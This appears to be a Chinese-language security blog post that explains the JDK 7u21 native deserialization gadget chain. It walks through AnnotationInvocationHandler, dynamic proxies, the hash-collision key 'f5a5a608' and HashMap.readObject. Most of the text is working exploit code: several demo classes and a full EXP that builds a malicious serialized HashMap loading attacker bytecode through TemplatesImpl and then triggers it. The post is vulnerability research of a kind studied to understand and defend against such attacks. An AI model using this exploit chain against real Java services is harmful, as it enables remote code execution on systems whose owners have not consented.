jdk7u21原生反序列化

jdk7u21原生反序列化

这条利用链是JDK7u21,它适用于Java 7u21及以前的版本。

漏洞核心

漏洞核心在于sun.reflect.annotation.AnnotationInvocationHandler的equalsImpl方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

在这个方法中,存在一个对方法的反射调用var5.invoke(var1),var1来自参数,var5则是遍历this.getMemberMethods()方法返回的方法数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}

return this.memberMethods;
}

AnnotationInvocationHandler.this.type.getDeclaredMethods()会获取当前的type属性的所有方法。对于java自带的类,我们可以优先考虑到TemplatesImpl链,也就是如果type中仅有触发TemplatesImpl链的方法,那么就可以用equalsImpl函数来反射走到TemplatesImpl链。我们可以用到Templates接口类,该类的两个方法newTransformergetOutputProperties都可以作为TemplatesImpl链的触发方法。

利用动态代理调用equalsImpl

equalsImplAnnotationInvocationHandler中作为一个私有方法,我们无法直接去调用,但是,我们可以在AnnotationInvocationHandler唯一的公共方法,invoke中调用equalsImpl

1
2
3
4
5
6
7
8
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}
......
}

关于如何调用到AnnotationInvocationHandler#invoke方法其实并不陌生,这是动态代理的基础知识。我们可以构造一个动态代理Proxy,通过调用这个代理的方法来触发invoke,不过我们需要通过一次判断,也就是调用这个代理的方法必须是equal方法,并且需要有一个Object对象作为参数

可以看到的是,我们给equalsImpl的参数是调用动态代理方法的第一个参数,那么我们满足的条件是

  • AnnotationInvocationHandlertype属性是Templates接口类
  • 调用构造的AnnotationInvocationHandler动态代理的equal方法
  • equal方法的第一个参数是恶意TemplatesImpl

可以编写一个简单的demo来完成上面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class demo {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//构造恶意TemplatesImpl类
TemplatesImpl templates = new TemplatesImpl();

byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class"));
byte[][] evilcode = {evil};

Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"cmisl");

Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);

Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

//代理的AnnotationInvocationHandler类所需的第二个参数,避免调用其get方法报错
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("cmisl","cmisl");

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);

//Templates.class作为第一个参数,只有两个方法,getOutputProperties和Templates,且都可以造成恶意代码执行
Object o = declaredConstructor.newInstance(Templates.class,hashMap);

//创建动态代理,AnnotationInvocationHandler作为代理类,方便走到其invoke方法
Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, (InvocationHandler) o);

ProxyMap.equals(templates);
}
}

要注意的是jdk7u21类需要实现AbstractTranslet接口

1
2
3
4
5
6
7
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}

TemplatesImpl#defineTransletClasses方法中会判断字节码反编译出的恶意类的父类是否等于ABSTRACT_TRANSLET,其值等于com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

调用代理实例ProxyMap的equals方法

根据上面分析,我们需要调用代理实例ProxyMapequals方法,这个方法每个类都有,用于比较是否相等,来自于所有类的父类Object

我们常见的一个场景,在HashMapput方法中,可以看到equals方法的身影,因为HashMap是一个类似链表数组的结构,当索引值相等的时候,会在那一个索引下的链表里遍历比较要put的这个key和链表中已经存在的key是否相等,这里就会调用equals方法去判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

在上面的代码中,索引值是i,基于hash值和table.length值计算,不过table.length在开始会设置为16,只要我们hashMap里面元素不超过16个就不会变。因此,我们需要做的就是让hash值相等。我们来关注一下计算部分的实现代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}

h ^= k.hashCode();

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

除了k.hashCode(),其他都是固定的。我们现在要做的就是让,ProxyMap.hashCode()templates.hashCode()相等。而ProxyMap.hashCode()会自动调用到AnnotationInvocationHandler#invoke方法,然后在调用到hashCodeImpl方法。

1
2
3
4
5
6
7
8
9
10
private int hashCodeImpl() {
int var1 = 0;

Map.Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Map.Entry)var2.next();
}

return var1;
}

会循环遍历当前memberValues,简化一下式子就是计算每个keyvalue(127 * key.hashCode()) ^value.hashCode(),然后累加,如果memberValues 中只有一个key和一个value时,该哈希就等于 (127 * key.hashCode())^value.hashCode(),而如果key.hashCode(),哈希又可以简化成value.hashCode(),如果这个value就是我们构造的恶意TemplateImpl对象templates,那么就可以使得ProxyMap.hashCode()templates.hashCode()相等。

所以我们需要的是让memberValues为一个只有一个键值对,且键的hashCode等于0,valuetemplates,即可。这个键要等于f5a5a608,这个memberValues是我们构造函数传入的hashmap,不过我们需要提前用其他值占据value的位置,在将ProxyMap放进了我们的恶意HashMap后,在替换回来,避免在ProxyMap放入的过程中,提前调用equals进入TemplatesImpl链。

那么我们可以编写一个小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class demo3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//构造恶意TemplatesImpl类
TemplatesImpl templates = new TemplatesImpl();

byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class"));
byte[][] evilcode = {evil};

Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"cmisl");

Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);

Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);

//代理的AnnotationInvocationHandler类所需的第二个参数,避免调用其get方法报错
HashMap hashMap = new HashMap();
//随意用一个字符串占位
hashMap.put("f5a5a608","cmisl");

//Templates.class作为第一个参数,只有两个方法,getOutputProperties和Templates,且都可以造成恶意代码执行
Object o = declaredConstructor.newInstance(Templates.class,hashMap);

//创建动态代理,AnnotationInvocationHandler作为代理类,方便走到其invoke方法
Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, (InvocationHandler) o);

//将之前占位的value值替换成templates,避免真正exp过程中出现提前触发TemplatesImpl链
hashMap.put("f5a5a608",templates);

HashMap evilmap = new HashMap();
evilmap.put(templates,null);
evilmap.put(ProxyMap,null);

}
}

另一种方式调用equals方法

在上面介绍了HashMap.put这个方法,但是这里,我并不打算调用这个方法。在HashMap的另一个方法——HashMap#putForCreate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key);
int i = indexFor(hash, table.length);

for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k)))) {
e.value = value;
return;
}
}

createEntry(hash, key, value, i);
}

这个方法逻辑与我们HashMap.put几乎差不多,上面put能实现的demo用putForCreate也可以,只是是私有方法,需要反射调用,将上面demo修改一下即可。

1
2
3
4
5
6
7
8
9
evilmap.put(templates,null);
evilmap.put(ProxyMap,null);

//将上面两行修改成下面代码

Method putForCreate = HashMap.class.getDeclaredMethod("putForCreate", Object.class, Object.class);
putForCreate.setAccessible(true);
putForCreate.invoke(evilmap,templates,null);
putForCreate.invoke(evilmap,ProxyMap,null);

为什么我想到用这个方法呢,因为这个方法在HashMap#readObject函数中调用了。我们来看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);

// set hashSeed (can only happen after VM boot)
Holder.UNSAFE.putIntVolatile(this, Holder.HASHSEED_OFFSET,
sun.misc.Hashing.randomHashSeed(this));

// Read in number of buckets and allocate the bucket array;
s.readInt(); // ignored

// Read number of mappings
int mappings = s.readInt();
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);

int initialCapacity = (int) Math.min(
// capacity chosen by number of mappings
// and desired load (if >= 0.25)
mappings * Math.min(1 / loadFactor, 4.0f),
// we have limits...
HashMap.MAXIMUM_CAPACITY);
int capacity = 1;
// find smallest power of two which holds all mappings
while (capacity < initialCapacity) {
capacity <<= 1;
}

table = new Entry[capacity];
threshold = (int) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1);
useAltHashing = sun.misc.VM.isBooted() &&
(capacity >= Holder.ALTERNATIVE_HASHING_THRESHOLD);

init(); // Give subclass a chance to do its thing.

// Read the keys and values, and put the mappings in the HashMap
for (int i=0; i<mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value);
}
}

在最后可以看到我们反序列化是会将keyvalue值分别反序列化出来,然后用putForCreate(key, value)函数将反序列化出来的键值对给添加到HashMap中。那么就可以直接从反序列化的入口走到equals。接下来我们编写EXP。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class EXP {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//构造恶意TemplatesImpl类
TemplatesImpl templates = new TemplatesImpl();

byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class"));
byte[][] evilcode = {evil};

Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"cmisl");

Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);

Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);

//代理的AnnotationInvocationHandler类所需的第二个参数,避免调用其get方法报错
HashMap hashMap = new HashMap();
//随意用一个字符串占位
hashMap.put("f5a5a608","cmisl");

//Templates.class作为第一个参数,只有两个方法,getOutputProperties和Templates,且都可以造成恶意代码执行
Object o = declaredConstructor.newInstance(Templates.class,hashMap);

//创建动态代理,AnnotationInvocationHandler作为代理类,方便走到其invoke方法
Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, (InvocationHandler) o);

//将之前占位的value值替换成templates,避免真正exp过程中出现提前触发TemplatesImpl链
hashMap.put("f5a5a608",templates);

HashMap evilmap = new HashMap();

evilmap.put(ProxyMap,null);
evilmap.put(templates,null);

serialize(evilmap);
deserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

ysoserial上用的是HashSet作为入口,更具体一点事LinkedHashSet,原理其实差不多,从HashSet#readObjectHashMap#put


jdk7u21原生反序列化
http://example.com/2024/07/16/jdk7u21原生反序列化/
作者
cmisl
发布于
2024年7月16日
许可协议